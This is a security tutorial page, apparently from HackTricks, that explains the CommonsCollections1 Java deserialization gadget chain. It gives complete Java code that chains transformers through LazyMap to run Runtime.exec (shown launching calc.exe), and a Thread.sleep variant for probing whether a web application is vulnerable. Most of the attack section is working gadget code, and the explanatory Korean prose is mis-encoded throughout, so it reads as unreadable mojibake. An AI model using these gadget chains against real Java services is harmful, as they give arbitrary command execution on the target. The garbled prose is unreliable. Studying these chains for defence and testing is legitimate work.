CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Reading time: 6 minutes

tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Java Transformers to Rutime exec()

์—ฌ๋Ÿฌ ๊ณณ์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ Apache common collections์˜ transformers๋ฅผ ์‚ฌ์šฉํ•˜๋Š” java deserialization payload๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

java
import org.apache.commons.*; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.util.Map; import java.util.HashMap; public class CommonsCollections1PayloadOnly { public static void main(String... args) { String[] command = {"calc.exe"}; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), //(1) new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), //(2) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), //(3) new InvokerTransformer("exec", new Class[]{String.class}, command ) //(4) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); //Execute gadgets lazyMap.get("anything"); } }

Java deserialization payloads์— ๋Œ€ํ•ด ์•„๋ฌด๊ฒƒ๋„ ๋ชจ๋ฅธ๋‹ค๋ฉด ์ด ์ฝ”๋“œ๊ฐ€ calc๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์ด์œ ๋ฅผ ํŒŒ์•…ํ•˜๊ธฐ ์–ด๋ ค์šธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์šฐ์„ , Java์˜ Transformer๋Š” ํด๋ž˜์Šค๋ฅผ ์ˆ˜์‹ ํ•˜๊ณ  ๋‹ค๋ฅธ ํด๋ž˜์Šค๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
๋˜ํ•œ ์—ฌ๊ธฐ์„œ ์‹คํ–‰๋˜๋Š” payload๋Š” ๋‹ค์Œ๊ณผ ๋™๋“ฑํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์•„๋Š” ๊ฒƒ์ด ํฅ๋ฏธ๋กญ์Šต๋‹ˆ๋‹ค:

java
Runtime.getRuntime().exec(new String[]{"calc.exe"});

๋˜๋Š” ๋” ์ •ํ™•ํžˆ ๋งํ•˜์ž๋ฉด, ๋งˆ์ง€๋ง‰์— ์‹คํ–‰๋  ๊ฒƒ์€:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

๋ฐฉ๋ฒ•

๊ทธ๋ž˜์„œ ์ฒซ ๋ฒˆ์งธ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ๊ทธ "๊ฐ„๋‹จํ•œ" ํ•œ ์ค„์งœ๋ฆฌ์™€ ์–ด๋–ป๊ฒŒ ๋™๋“ฑํ•œ๊ฐ€์š”?

์ฒซ์งธ๋กœ, ํŽ˜์ด๋กœ๋“œ์—์„œ ๋ณ€ํ™˜์˜ ์ฒด์ธ(๋ฐฐ์—ด)์ด ์ƒ์„ฑ๋œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

java
String[] command = {"calc.exe"}; final Transformer[] transformers = new Transformer[]{ //(1) - Get gadget Class (from Runtime class) new ConstantTransformer(Runtime.class), //(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime" new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), //(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), //(4) - Use the Runtime object to call exec with arbitrary commands new InvokerTransformer("exec", new Class[]{String.class}, command ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

์ฝ”๋“œ๋ฅผ ์ฝ์–ด๋ณด๋ฉด ๋ฐฐ์—ด์˜ ๋ณ€ํ™˜์„ ์–ด๋–ป๊ฒŒ๋“  ์—ฐ๊ฒฐํ•˜๋ฉด ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋ž˜์„œ, ๊ทธ ๋ณ€ํ™˜๋“ค์€ ์–ด๋–ป๊ฒŒ ์—ฐ๊ฒฐ๋˜๋‚˜์š”?

java
Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); lazyMap.get("anything");

ํŽ˜์ด๋กœ๋“œ์˜ ๋งˆ์ง€๋ง‰ ์„น์…˜์—์„œ Map ๊ฐ์ฒด๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ, LazyMap์—์„œ ๋งต ๊ฐ์ฒด์™€ ์ฒด์ธ๋œ ๋ณ€ํ™˜๊ธฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ decorate ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ํ†ตํ•ด ์ฒด์ธ๋œ ๋ณ€ํ™˜๊ธฐ๊ฐ€ lazyMap.factory ์†์„ฑ ์•ˆ์— ๋ณต์‚ฌ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

java
protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; }

๊ทธ๋ฆฌ๊ณ  ๋งˆ์ง€๋ง‰ ๋Œ€๋ฏธ๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค: lazyMap.get("anything");

์ด๊ฒƒ์€ get ํ•จ์ˆ˜์˜ ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค:

java
public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }

๊ทธ๋ฆฌ๊ณ  ์ด๊ฒƒ์€ transform ํ•จ์ˆ˜์˜ ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค.

java
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }

๊ทธ๋ž˜์„œ factory ์•ˆ์— **chainedTransformer**๋ฅผ ์ €์žฅํ–ˆ์œผ๋ฉฐ, transform ํ•จ์ˆ˜ ์•ˆ์—์„œ ๋ชจ๋“  ์ฒด์ธ๋œ ๋ณ€ํ™˜๊ธฐ๋ฅผ ์ˆœ์ฐจ์ ์œผ๋กœ ์‹คํ–‰ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์žฌ๋ฏธ์žˆ๋Š” ์ ์€ ๊ฐ ๋ณ€ํ™˜๊ธฐ๊ฐ€ object๋ฅผ ์ž…๋ ฅ์œผ๋กœ ์‚ฌ์šฉํ•˜๊ณ  object๊ฐ€ ๋งˆ์ง€๋ง‰์œผ๋กœ ์‹คํ–‰๋œ ๋ณ€ํ™˜๊ธฐ์˜ ์ถœ๋ ฅ์ด๋ผ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ชจ๋“  ๋ณ€ํ™˜์ด ์•…์˜์ ์ธ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ฒด์ธ์œผ๋กœ ์‹คํ–‰ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

์š”์•ฝ

๊ฒฐ๊ตญ, lazyMap์ด get ๋ฉ”์„œ๋“œ ์•ˆ์—์„œ ์ฒด์ธ๋œ ๋ณ€ํ™˜๊ธฐ๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ๋ฐฉ์‹ ๋•Œ๋ฌธ์—, ๋งˆ์น˜ ์šฐ๋ฆฌ๊ฐ€ ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

java
Object value = "someting"; value = new ConstantTransformer(Runtime.class).transform(value); //(1) value = new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", null} ).transform(value); //(2) value = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ).transform(value); //(3) value = new InvokerTransformer("exec", new Class[]{String.class}, command ).transform(value); //(4)

๊ฐ ๋ณ€ํ™˜์˜ ์ž…๋ ฅ์ด value์ด๊ณ  ์ด์ „ ๋ณ€ํ™˜์˜ ์ถœ๋ ฅ์ž„์„ ์ฃผ๋ชฉํ•˜์„ธ์š”. ์ด๋Š” ํ•œ ์ค„ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

์—ฌ๊ธฐ์—์„œ ComonsCollections1 ํŽ˜์ด๋กœ๋“œ์— ์‚ฌ์šฉ๋œ ๊ฐ€์ ฏ์ด ์„ค๋ช…๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๋ชจ๋“  ๊ฒƒ์ด ์–ด๋–ป๊ฒŒ ์‹คํ–‰๋˜๋Š”์ง€๋Š” ๋‚จ๊ฒจ์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ ysoserial๋ฅผ ๋ณด๋ฉด, ์ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด AnnotationInvocationHandler ๊ฐ์ฒด๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฐ์ฒด๊ฐ€ ์—ญ์ง๋ ฌํ™”๋˜๋ฉด, payload.get() ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ์ „์ฒด ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Java Thread Sleep

์ด ํŽ˜์ด๋กœ๋“œ๋Š” ์›น์ด ์ทจ์•ฝํ•œ์ง€ ํ™•์ธํ•˜๋Š” ๋ฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ทจ์•ฝํ•˜๋‹ค๋ฉด ์Šฌ๋ฆฝ์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

java
import org.apache.commons.*; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.net.MalformedURLException; import java.net.URL; import java.util.Map; import java.util.HashMap; public class CommonsCollections1Sleep { public static void main(String... args) { final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class }, new Object[]{ "sleep", new Class[]{Long.TYPE} }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class }, new Object[] { null, new Object[] {7000L} }), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); //Execute gadgets lazyMap.get("anything"); } }

๋” ๋งŽ์€ ๊ฐ€์ ฏ

์—ฌ๊ธฐ์—์„œ ๋” ๋งŽ์€ ๊ฐ€์ ฏ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ